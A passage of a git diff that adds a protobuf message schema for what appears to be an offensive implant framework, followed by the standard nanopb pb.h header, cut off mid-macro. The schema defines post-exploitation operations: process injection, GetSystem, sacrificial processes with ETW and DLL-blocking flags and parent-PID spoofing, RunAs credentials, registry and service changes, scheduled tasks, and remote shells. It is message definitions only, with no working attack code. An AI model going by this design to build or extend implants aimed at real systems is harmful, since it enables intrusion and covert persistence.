{ + uint32 id = 1; + bool success = 2; + bool end = 3; +} + +message Os { + string name = 1; + string version = 2; // kernel version + string release = 3; // release version + string arch = 4; + string username = 5; + string hostname = 6; + string locale = 7; // timezone + repeated string clr_version = 8; +} + +message Process { + string name = 1; + uint32 pid = 2; + uint32 ppid = 3; + string owner = 4; + string arch = 5; + string path = 6; + string args = 7; + string uid = 8; +} + +message Timer { + string expression = 1; + double jitter = 2; +} + +message FileInfo { + string Name = 1; + bool IsDir = 2; + uint64 Size = 3; + int64 ModTime = 4; + uint32 Mode = 5; + string Link = 6; +} + +message SacrificeProcess { + bool hidden = 1; + bool block_dll = 2; + bool etw = 3; + uint32 ppid = 4; + string argue = 5; +} + +message LsResponse { + string Path = 1; + bool Exists = 2; + repeated FileInfo Files = 3; +} + +message DriveInfo { + string path = 1; // "C:\\" + string drive_type = 2; // "Fixed drive" + uint64 total_size = 3; // + uint64 free_size = 4; // + string file_system = 5; // "NTFS" +} + +message EnumDriversResponse { + repeated DriveInfo drives = 1; +} + +message PsResponse{ + repeated Process processes = 1; +} + +message ExecRequest { + string path = 1; + repeated string args = 2; + bool output = 3; + bool singleton = 4; + bool realtime = 5; + uint32 ppid = 10; +} + +message ExecResponse { + int32 status_code = 1; + bytes stdout = 2; + bytes stderr = 3; + uint32 pid = 4; + bool end = 5; +} + +message BinaryResponse { + bytes data = 1; // common return, bof BeaconOutput + bytes message = 2; // bof BeaconPrintf + string err = 4; + int32 status = 3; +} + +message Modules { + repeated string modules = 1; + map bundle_map = 2; +} + + +message Addons { + repeated Addon addons = 1; +} + +message Addon { + string name = 1; + string type = 2; + string depend = 3; +} + +message LoadModule{ + string bundle = 1; + bytes bin = 2; +} + +message LoadAddon{ + string name = 1; + string type = 2; + string depend = 3; + bytes bin = 4; +} + +message ExecuteAddon { + string addon = 1; + ExecuteBinary execute_binary = 2; +} + +message ExecuteBinary { + string name = 1; + bytes bin = 2; + map param = 3; + string type = 4; + string process_name = 5; + repeated string args = 6; + string entry_point = 7; + bytes data = 8; + bool output = 9; + uint32 arch = 10; + uint32 timeout = 11; + SacrificeProcess sacrifice = 12; + string path = 13; + string context = 14; + uint32 delay = 15; //millisecond +} + +message ExecuteCommand { + string command = 1; + SacrificeProcess sacrifice = 2; +} + +message UploadRequest { + string name = 1; + string target = 2; + uint32 priv = 3; + bytes data = 4; + bool hidden = 5; + bool override = 6; +} + +message DownloadRequest { + string path = 1; + string name = 2; + uint32 buffer_size = 3; + bool dir = 4; + int32 cur = 5; +} + +message DownloadResponse{ + string checksum = 1; + uint64 size = 2; + int32 cur = 3; + bytes content = 4; +} + +message CurlRequest{ + string url = 1; + int32 timeout = 2; + string method = 3; + bytes body = 4; + map header =5; + string hostname = 6; +} + +message ChownRequest{ + string path = 1; + string uid = 2; + string gid = 3; + bool recursive = 4; +} + +message IfconfigResponse { + repeated NetInterface net_interfaces = 1; +} + +// wrap for client +message RegistryRequest { + string type = 1; + Registry registry = 2; +} + +message Registry { + string hive = 1; + string path = 2; + string key = 3; +} + +message RegistryWriteRequest { + string hive = 1; + string path = 2; + string key = 3; + string string_value = 5; + bytes byte_value = 6; + uint32 dword_value = 7; + uint64 qword_value = 8; + uint32 regtype = 10; +} + +message TaskScheduleRequest { + string type = 1; + TaskSchedule taskschd = 2; +} + +message TaskSchedule { + string name = 1; + string path = 2; + string executable_path = 3; + uint32 trigger_type = 4; + string start_boundary = 5; + string description = 6; + bool enabled = 7; + string last_run_time = 8; + string next_run_time = 9; +} + + +message TaskSchedulesResponse { + repeated TaskSchedule schedules = 1; +} + +// wrap for client +message ServiceRequest { + string type = 1; + ServiceConfig service = 2; +} + +message ServiceConfig { + string name = 1; + string display_name = 2; + string executable_path = 3; + uint32 start_type = 4; + uint32 error_control = 5; + string account_name = 6; +} + +message ServiceStatus { + uint32 current_state = 1; + uint32 process_id = 2; + uint32 exit_code = 3; + uint32 checkpoint = 4; + uint32 wait_hint = 5; +} + +message Service { + ServiceConfig config = 1; + ServiceStatus status = 2; +} + +message ServicesResponse { + repeated Service services = 1; +} + +message WmiQueryRequest { + string namespace = 1; + repeated string args = 2; +} + +message WmiMethodRequest { + string namespace = 1; + string class_name = 2; + string method_name = 3; + map params = 4; +} + +message RunAsRequest { + string username = 1; // Username to execute as + string domain = 2; // User domain + string password = 3; // User password + string program = 4; // Program path + string args = 5; // Program arguments (optional) + bool use_profile = 6; + bool netonly = 7; // Use network credentials only (optional, default false) + bool use_env = 8; +} + +message GetSystem{ + bytes bin = 1; + uint32 pid = 2; +} + +message Inject{ + bytes bin = 1; + uint32 pid = 2; +} + +message Pipe { + string name = 1; + string target = 2; + bytes data = 4; +} + +message PipeRequest { + string type = 1; + Pipe pipe = 2; +} + +message Switch { + repeated string urls = 1; +} + +message TaskCtrl{ + uint32 task_id = 1; + string op = 2; +} + +message TaskInfo { + uint32 task_id = 1; + uint64 last = 2; + uint32 recv_count = 3; + uint32 send_count = 4; +} + +message TaskListResponse { + repeated TaskInfo tasks = 1; +} + +message FFmpegRequest { + string action = 1; + string device_name = 2; + string output_format = 3; + string output_path = 4; + string time = 5; +} + +// PTY +message PtyRequest { + string type = 1; // type: "start", "input", "stop" + string session_id = 2; // + string shell = 3; // shell type: "/bin/bash", "cmd.exe", "powershell.exe" + uint32 cols = 4; // + uint32 rows = 5; // + bytes input_data = 6; // + string input_text = 7; // + map params = 8; // +} + +message PtyResponse { + string session_id = 1; // Session ID + bytes output_data = 2; // Output data (binary) + string output_text = 3; // Output data (text) + string error = 4; // Error message + bool session_active = 5; // Whether session is still active + repeated string active_sessions = 6; + map metadata = 7; +} + +message CommonBody { + string name = 1; + repeated uint32 u32_array = 2; + repeated uint64 u64_array = 4; + repeated bool bool_array = 6; + repeated string string_array = 8; + repeated bytes bytes_array = 10; +} diff --git a/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb.h b/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb.h new file mode 100644 index 0000000..10249bb --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb.h @@ -0,0 +1,922 @@ +/* Common parts of the nanopb library. Most of these are quite low-level + * stuff. For the high-level interface, see pb_encode.h and pb_decode.h. + */ + +#ifndef PB_H_INCLUDED +#define PB_H_INCLUDED + +/***************************************************************** + * Nanopb compilation time options. You can change these here by * + * uncommenting the lines, or on the compiler command line. * + *****************************************************************/ + +/* Enable support for dynamically allocated fields */ +/* #define PB_ENABLE_MALLOC 1 */ + +/* Define this if your CPU / compiler combination does not support + * unaligned memory access to packed structures. Note that packed + * structures are only used when requested in .proto options. */ +/* #define PB_NO_PACKED_STRUCTS 1 */ + +/* Increase the number of required fields that are tracked. + * A compiler warning will tell if you need this. */ +/* #define PB_MAX_REQUIRED_FIELDS 256 */ + +/* Add support for tag numbers > 65536 and fields larger than 65536 bytes. */ +/* #define PB_FIELD_32BIT 1 */ + +/* Disable support for error messages in order to save some code space. */ +/* #define PB_NO_ERRMSG 1 */ + +/* Disable support for custom streams (support only memory buffers). */ +/* #define PB_BUFFER_ONLY 1 */ + +/* Disable support for 64-bit datatypes, for compilers without int64_t + or to save some code space. */ +/* #define PB_WITHOUT_64BIT 1 */ + +/* Don't encode scalar arrays as packed. This is only to be used when + * the decoder on the receiving side cannot process packed scalar arrays. + * Such example is older protobuf.js. */ +/* #define PB_ENCODE_ARRAYS_UNPACKED 1 */ + +/* Enable conversion of doubles to floats for platforms that do not + * support 64-bit doubles. Most commonly AVR. */ +/* #define PB_CONVERT_DOUBLE_FLOAT 1 */ + +/* Check whether incoming strings are valid UTF-8 sequences. Slows down + * the string processing slightly and slightly increases code size. */ +/* #define PB_VALIDATE_UTF8 1 */ + +/* This can be defined if the platform is little-endian and has 8-bit bytes. + * Normally it is automatically detected based on __BYTE_ORDER__ macro. */ +/* #define PB_LITTLE_ENDIAN_8BIT 1 */ + +/* Configure static assert mechanism. Instead of changing these, set your + * compiler to C11 standard mode if possible. */ +/* #define PB_C99_STATIC_ASSERT 1 */ +/* #define PB_NO_STATIC_ASSERT 1 */ + +/****************************************************************** + * You usually don't need to change anything below this line. * + * Feel free to look around and use the defined macros, though. * + ******************************************************************/ + + +/* Version of the nanopb library. Just in case you want to check it in + * your own program. */ +#define NANOPB_VERSION "nanopb-0.4.9.1" + +/* Include all the system headers needed by nanopb. You will need the + * definitions of the following: + * - strlen, memcpy, memset functions + * - [u]int_least8_t, uint_fast8_t, [u]int_least16_t, [u]int32_t, [u]int64_t + * - size_t + * - bool + * + * If you don't have the standard header files, you can instead provide + * a custom header that defines or includes all this. In that case, + * define PB_SYSTEM_HEADER to the path of this file. + */ +#ifdef PB_SYSTEM_HEADER +#include PB_SYSTEM_HEADER +#else +#include +#include +#include +#include +#include + +#ifdef PB_ENABLE_MALLOC +#include +#endif +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +/* Macro for defining packed structures (compiler dependent). + * This just reduces memory requirements, but is not required. + */ +#if defined(PB_NO_PACKED_STRUCTS) + /* Disable struct packing */ +# define PB_PACKED_STRUCT_START +# define PB_PACKED_STRUCT_END +# define pb_packed +#elif defined(__GNUC__) || defined(__clang__) + /* For GCC and clang */ +# define PB_PACKED_STRUCT_START +# define PB_PACKED_STRUCT_END +# define pb_packed __attribute__((packed)) +#elif defined(__ICCARM__) || defined(__CC_ARM) + /* For IAR ARM and Keil MDK-ARM compilers */ +# define PB_PACKED_STRUCT_START _Pragma("pack(push, 1)") +# define PB_PACKED_STRUCT_END _Pragma("pack(pop)") +# define pb_packed +#elif defined(_MSC_VER) && (_MSC_VER >= 1500) + /* For Microsoft Visual C++ */ +# define PB_PACKED_STRUCT_START __pragma(pack(push, 1)) +# define PB_PACKED_STRUCT_END __pragma(pack(pop)) +# define pb_packed +#else + /* Unknown compiler */ +# define PB_PACKED_STRUCT_START +# define PB_PACKED_STRUCT_END +# define pb_packed +#endif + +/* Detect endianness */ +#ifndef PB_LITTLE_ENDIAN_8BIT +#if ((defined(__BYTE_ORDER) && __BYTE_ORDER == __LITTLE_ENDIAN) || \ + (defined(__BYTE_ORDER__) && __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__) || \ + defined(__LITTLE_ENDIAN__) || defined(__ARMEL__) || \ + defined(__THUMBEL__) || defined(__AARCH64EL__) || defined(_MIPSEL) || \ + defined(_M_IX86) || defined(_M_X64) || defined(_M_ARM)) \ + && CHAR_BIT == 8 +#define PB_LITTLE_ENDIAN_8BIT 1 +#endif +#endif + +/* Handly macro for suppressing unreferenced-parameter compiler warnings. */ +#ifndef PB_UNUSED +#define PB_UNUSED(x) (void)(x) +#endif + +/* Harvard-architecture processors may need special attributes for storing + * field information in program memory. */ +#ifndef PB_PROGMEM +#ifdef __AVR__ +#include +#define PB_PROGMEM PROGMEM +#define PB_PROGMEM_READU32(x) pgm_read_dword(&x) +#else +#define PB_PROGMEM +#define PB_PROGMEM_READU32(x) (x) +#endif +#endif + +/* Compile-time assertion, used for checking compatible compilation options. + * If this does not work properly on your compiler, use + * #define PB_NO_STATIC_ASSERT to disable it. + * + * But before doing that, check carefully the error message / place where it + * comes from to see if the error has a real cause. Unfortunately the error + * message is not always very clear to read, but you can see the reason better + * in the place where the PB_STATIC_ASSERT macro was called. + */ +#ifndef PB_NO_STATIC_ASSERT +# ifndef PB_STATIC_ASSERT +# if defined(__ICCARM__) + /* IAR has static_assert keyword but no _Static_assert */ +# define PB_STATIC_ASSERT(COND,MSG) static_assert(COND,#MSG); +# elif defined(_MSC_VER) && (!defined(__STDC_VERSION__) || __STDC_VERSION__ < 201112) + /* MSVC in C89 mode supports static_assert() keyword anyway */ +# define PB_STATIC_ASSERT(COND,MSG) static_assert(COND,#MSG); +# elif defined(PB_C99_STATIC_ASSERT) + /* Classic negative-size-array static assert mechanism */ +# define PB_STATIC_ASSERT(COND,MSG) typedef char PB_STATIC_ASSERT_MSG(MSG, __LINE__, __COUNTER__)[(COND)?1:-1]; +# define PB_STATIC_ASSERT_MSG(MSG, LINE, COUNTER) PB_STATIC_ASSERT_MSG_(MSG, LINE, COUNTER) +# define PB_STATIC_ASSERT_MSG_(MSG, LINE, COUNTER) pb_static_assertion_##MSG##_##LINE##_##COUNTER +# elif defined(__cplusplus) + /* C++11 standard static_assert mechanism */ +# define PB_STATIC_ASSERT(COND,MSG) static_assert(COND,#MSG); +# else + /* C11 standard _Static_assert mechanism */ +# define PB_STATIC_ASSERT(COND,MSG) _Static_assert(COND,#MSG); +# endif +# endif +#else + /* Static asserts disabled by PB_NO_STATIC_ASSERT */ +# define PB_STATIC_ASSERT(COND,MSG) +#endif + +/* Test that PB_STATIC_ASSERT works + * If you get errors here, you may need to do one of these: + * - Enable C11 standard support in your compiler + * - Define PB_C99_STATIC_ASSERT to enable C99 standard support + * - Define PB_NO_STATIC_ASSERT to disable static asserts altogether + */ +PB_STATIC_ASSERT(1, STATIC_ASSERT_IS_NOT_WORKING) + +/* Number of required fields to keep track of. */ +#ifndef PB_MAX_REQUIRED_FIELDS +#define PB_MAX_REQUIRED_FIELDS 64 +#endif + +#if PB_MAX_REQUIRED_FIELDS < 64 +#error You should not lower PB_MAX_REQUIRED_FIELDS from the default value (64). +#endif + +#ifdef PB_WITHOUT_64BIT +#ifdef PB_CONVERT_DOUBLE_FLOAT +/* Cannot use doubles without 64-bit types */ +#undef PB_CONVERT_DOUBLE_FLOAT +#endif +#endif + +/* Data type for storing encoded data and other byte streams. + * This typedef exists to support platforms where uint8_t does not exist. + * You can regard it as equivalent on uint8_t on other platforms. + */ +#if defined(PB_BYTE_T_OVERRIDE) +typedef PB_BYTE_T_OVERRIDE pb_byte_t; +#elif defined(UINT8_MAX) +typedef uint8_t pb_byte_t; +#else +typedef uint_least8_t pb_byte_t; +#endif + +/* List of possible field types. These are used in the autogenerated code. + * Least-significant 4 bits tell the scalar type + * Most-significant 4 bits specify repeated/required/packed etc. + */ +typedef pb_byte_t pb_type_t; + +/**** Field data types ****/ + +/* Numeric types */ +#define PB_LTYPE_BOOL 0x00U /* bool */ +#define PB_LTYPE_VARINT 0x01U /* int32, int64, enum, bool */ +#define PB_LTYPE_UVARINT 0x02U /* uint32, uint64 */ +#define PB_LTYPE_SVARINT 0x03U /* sint32, sint64 */ +#define PB_LTYPE_FIXED32 0x04U /* fixed32, sfixed32, float */ +#define PB_LTYPE_FIXED64 0x05U /* fixed64, sfixed64, double */ + +/* Marker for last packable field type. */ +#define PB_LTYPE_LAST_PACKABLE 0x05U + +/* Byte array with pre-allocated buffer. + * data_size is the length of the allocated PB_BYTES_ARRAY structure. */ +#define PB_LTYPE_BYTES 0x06U + +/* String with pre-allocated buffer. + * data_size is the maximum length. */ +#define PB_LTYPE_STRING 0x07U + +/* Submessage + * submsg_fields is pointer to field descriptions */ +#define PB_LTYPE_SUBMESSAGE 0x08U + +/* Submessage with pre-decoding callback + * The pre-decoding callback is stored as pb_callback_t right before pSize. + * submsg_fields is pointer to field descriptions */ +#define PB_LTYPE_SUBMSG_W_CB 0x09U + +/* Extension pseudo-field + * The field contains a pointer to pb_extension_t */ +#define PB_LTYPE_EXTENSION 0x0AU + +/* Byte array with inline, pre-allocated byffer. + * data_size is the length of the inline, allocated buffer. + * This differs from PB_LTYPE_BYTES by defining the element as + * pb_byte_t[data_size] rather than pb_bytes_array_t. */ +#define PB_LTYPE_FIXED_LENGTH_BYTES 0x0BU + +/* Number of declared LTYPES */ +#define PB_LTYPES_COUNT 0x0CU +#define PB_LTYPE_MASK 0x0FU + +/**** Field repetition rules ****/ + +#define PB_HTYPE_REQUIRED 0x00U +#define PB_HTYPE_OPTIONAL 0x10U +#define PB_HTYPE_SINGULAR 0x10U +#define PB_HTYPE_REPEATED 0x20U +#define PB_HTYPE_FIXARRAY 0x20U +#define PB_HTYPE_ONEOF 0x30U +#define PB_HTYPE_MASK 0x30U + +/**** Field allocation types ****/ + +#define PB_ATYPE_STATIC 0x00U +#define PB_ATYPE_POINTER 0x80U +#define PB_ATYPE_CALLBACK 0x40U +#define PB_ATYPE_MASK 0xC0U + +#define PB_ATYPE(x) ((x) & PB_ATYPE_MASK) +#define PB_HTYPE(x) ((x) & PB_HTYPE_MASK) +#define PB_LTYPE(x) ((x) & PB_LTYPE_MASK) +#define PB_LTYPE_IS_SUBMSG(x) (PB_LTYPE(x) == PB_LTYPE_SUBMESSAGE || \ + PB_LTYPE(x) == PB_LTYPE_SUBMSG_W_CB) + +/* Data type used for storing sizes of struct fields + * and array counts. + */ +#if defined(PB_FIELD_32BIT) + typedef uint32_t pb_size_t; + typedef int32_t pb_ssize_t; +#else + typedef uint_least16_t pb_size_t; + typedef int_least16_t pb_ssize_t; +#endif +#define PB_SIZE_MAX ((pb_size_t)-1) + +/* Forward declaration of struct types */ +typedef struct pb_istream_s pb_istream_t; +typedef struct pb_ostream_s pb_ostream_t; +typedef struct pb_field_iter_s pb_field_iter_t; + +/* This structure is used in auto-generated constants + * to specify struct fields. + */ +typedef struct pb_msgdesc_s pb_msgdesc_t; +struct pb_msgdesc_s { + const uint32_t *field_info; + const pb_msgdesc_t * const * submsg_info; + const pb_byte_t *default_value; + + bool (*field_callback)(pb_istream_t *istream, pb_ostream_t *ostream, const pb_field_iter_t *field); + + pb_size_t field_count; + pb_size_t required_field_count; + pb_size_t largest_tag; +}; + +/* Iterator for message descriptor */ +struct pb_field_iter_s { + const pb_msgdesc_t *descriptor; /* Pointer to message descriptor constant */ + void *message; /* Pointer to start of the structure */ + + pb_size_t index; /* Index of the field */ + pb_size_t field_info_index; /* Index to descriptor->field_info array */ + pb_size_t required_field_index; /* Index that counts only the required fields */ + pb_size_t submessage_index; /* Index that counts only submessages */ + + pb_size_t tag; /* Tag of current field */ + pb_size_t data_size; /* sizeof() of a single item */ + pb_size_t array_size; /* Number of array entries */ + pb_type_t type; /* Type of current field */ + + void *pField; /* Pointer to current field in struct */ + void *pData; /* Pointer to current data contents. Different than pField for arrays and pointers. */ + void *pSize; /* Pointer to count/has field */ + + const pb_msgdesc_t *submsg_desc; /* For submessage fields, pointer to field descriptor for the submessage. */ +}; + +/* For compatibility with legacy code */ +typedef pb_field_iter_t pb_field_t; + +/* Make sure that the standard integer types are of the expected sizes. + * Otherwise fixed32/fixed64 fields can break. + * + * If you get errors here, it probably means that your stdint.h is not + * correct for your platform. + */ +#ifndef PB_WITHOUT_64BIT +PB_STATIC_ASSERT(sizeof(int64_t) == 2 * sizeof(int32_t), INT64_T_WRONG_SIZE) +PB_STATIC_ASSERT(sizeof(uint64_t) == 2 * sizeof(uint32_t), UINT64_T_WRONG_SIZE) +#endif + +/* This structure is used for 'bytes' arrays. + * It has the number of bytes in the beginning, and after that an array. + * Note that actual structs used will have a different length of bytes array. + */ +#define PB_BYTES_ARRAY_T(n) struct { pb_size_t size; pb_byte_t bytes[n]; } +#define PB_BYTES_ARRAY_T_ALLOCSIZE(n) ((size_t)n + offsetof(pb_bytes_array_t, bytes)) + +struct pb_bytes_array_s { + pb_size_t size; + pb_byte_t bytes[1]; +}; +typedef struct pb_bytes_array_s pb_bytes_array_t; + +/* This structure is used for giving the callback function. + * It is stored in the message structure and filled in by the method that + * calls pb_decode. + * + * The decoding callback will be given a limited-length stream + * If the wire type was string, the length is the length of the string. + * If the wire type was a varint/fixed32/fixed64, the length is the length + * of the actual value. + * The function may be called multiple times (especially for repeated types, + * but also otherwise if the message happens to contain the field multiple + * times.) + * + * The encoding callback will receive the actual output stream. + * It should write all the data in one call, including the field tag and + * wire type. It can write multiple fields. + * + * The callback can be null if you want to skip a field. + */ +typedef struct pb_callback_s pb_callback_t; +struct pb_callback_s { + /* Callback functions receive a pointer to the arg field. + * You can access the value of the field as *arg, and modify it if needed. + */ + union { + bool (*decode)(pb_istream_t *stream, const pb_field_t *field, void **arg); + bool (*encode)(pb_ostream_t *stream, const pb_field_t *field, void * const *arg); + } funcs; + + /* Free arg for use by callback */ + void *arg; +}; + +extern bool pb_default_field_callback(pb_istream_t *istream, pb_ostream_t *ostream, const pb_field_t *field); + +/* Wire types. Library user needs these only in encoder callbacks. */ +typedef enum { + PB_WT_VARINT = 0, + PB_WT_64BIT = 1, + PB_WT_STRING = 2, + PB_WT_32BIT = 5, + PB_WT_PACKED = 255 /* PB_WT_PACKED is internal marker for packed arrays. */ +} pb_wire_type_t; + +/* Structure for defining the handling of unknown/extension fields. + * Usually the pb_extension_type_t structure is automatically generated, + * while the pb_extension_t structure is created by the user. However, + * if you want to catch all unknown fields, you can also create a custom + * pb_extension_type_t with your own callback. + */ +typedef struct pb_extension_type_s pb_extension_type_t; +typedef struct pb_extension_s pb_extension_t; +struct pb_extension_type_s { + /* Called for each unknown field in the message. + * If you handle the field, read off all of its data and return true. + * If you do not handle the field, do not read anything and return true. + * If you run into an error, return false. + * Set to NULL for default handler. + */ + bool (*decode)(pb_istream_t *stream, pb_extension_t *extension, + uint32_t tag, pb_wire_type_t wire_type); + + /* Called once after all regular fields have been encoded. + * If you have something to write, do so and return true. + * If you do not have anything to write, just return true. + * If you run into an error, return false. + * Set to NULL for default handler. + */ + bool (*encode)(pb_ostream_t *stream, const pb_extension_t *extension); + + /* Free field for use by the callback. */ + const void *arg; +}; + +struct pb_extension_s { + /* Type describing the extension field. Usually you'll initialize + * this to a pointer to the automatically generated structure. */ + const pb_extension_type_t *type; + + /* Destination for the decoded data. This must match the datatype + * of the extension field. */ + void *dest; + + /* Pointer to the next extension handler, or NULL. + * If this extension does not match a field, the next handler is + * automatically called. */ + pb_extension_t *next; + + /* The decoder sets this to true if the extension was found. + * Ignored for encoding. */ + bool found; +}; + +#define pb_extension_init_zero {NULL,NULL,NULL,false} + +/* Memory allocation functions to use. You can define pb_realloc and + * pb_free to custom functions if you want. */ +#ifdef PB_ENABLE_MALLOC +# ifndef pb_realloc +# define pb_realloc(ptr, size) realloc(ptr, size) +# endif +# ifndef pb_free +# define pb_free(ptr) free(ptr) +# endif +#endif + +/* This is used to inform about need to regenerate .pb.h/.pb.c files. */ +#define PB_PROTO_HEADER_VERSION 40 + +/* These macros are used to declare pb_field_t's in the constant array. */ +/* Size of a structure member, in bytes. */ +#define pb_membersize(st, m) (sizeof ((st*)0)->m) +/* Number of entries in an array. */ +#define pb_arraysize(st, m) (pb_membersize(st, m) / pb_membersize(st, m[0])) +/* Delta from start of one member to the start of another member. */ +#define pb_delta(st, m1, m2) ((int)offsetof(st, m1) - (int)offsetof(st, m2)) + +/* Force expansion of macro value */ +#define PB_EXPAND(x) x + +/* Binding of a message field set into a specific structure */ +#define PB_BIND(msgname, structname, width) \ + const uint32_t structname ## _field_info[] PB_PROGMEM = \ + { \ + msgname ## _FIELDLIST(PB_GEN_FIELD_INFO_ ## width, structname) \ + 0 \ + }; \ + const pb_msgdesc_t* const structname ## _submsg_info[] = \ + { \ + msgname ## _FIELDLIST(PB_GEN_SUBMSG_INFO, structname) \ + NULL \ + }; \ + const pb_msgdesc_t structname ## _msg = \ + { \ + structname ## _field_info, \ + structname ## _submsg_info, \ + msgname ## _DEFAULT, \ + msgname ## _CALLBACK, \ + 0 msgname ## _FIELDLIST(PB_GEN_FIELD_COUNT, structname), \ + 0 msgname ## _FIELDLIST(PB_GEN_REQ_FIELD_COUNT, structname), \ + 0 msgname ## _FIELDLIST(PB_GEN_LARGEST_TAG, structname), \ + }; \ + msgname ## _FIELDLIST(PB_GEN_FIELD_INFO_ASSERT_ ## width, structname) + +#define PB_GEN_FIELD_COUNT(structname, atype, htype, ltype, fieldname, tag) +1 +#define PB_GEN_REQ_FIELD_COUNT(structname, atype, htype, ltype, fieldname, tag) \ + + (PB_HTYPE_ ## htype == PB_HTYPE_REQUIRED) +#define PB_GEN_LARGEST_TAG(structname, atype, htype, ltype, fieldname, tag) \ + * 0 + tag + +/* X-macro for generating the entries in struct_field_info[] array. */ +#define PB_GEN_FIELD_INFO_1(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_1(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_2(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_2(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_4(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_4(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_8(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_8(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_AUTO(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_AUTO2(PB_FIELDINFO_WIDTH_AUTO(_PB_ATYPE_ ## atype, _PB_HTYPE_ ## htype, _PB_LTYPE_ ## ltype), \ + tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_FIELDINFO_AUTO2(width, tag, type, data_offset, data_size, size_offset, array_size) \ + PB_FIELDINFO_AUTO3(width, tag, type, data_offset, data_size, size_offset, array_size) + +#define PB_FIELDINFO_AUTO3(width, tag, type, data_offset, data_size, size_offset, array_size) \ + PB_FIELDINFO_ ## width(tag, type, data_offset, data_size, size_offset, array_size) + +/* X-macro for generating asserts that entries fit in struct_field_info[] array. + * The structure of macros here must match the structure above in PB_GEN_FIELD_INFO_x(), + * but it is not easily reused because of how macro substitutions work. */ +#define PB_GEN_FIELD_INFO_ASSERT_1(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_ASSERT_1(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_ASSERT_2(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_ASSERT_2(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_ASSERT_4(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_ASSERT_4(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_ASSERT_8(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_ASSERT_8(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + 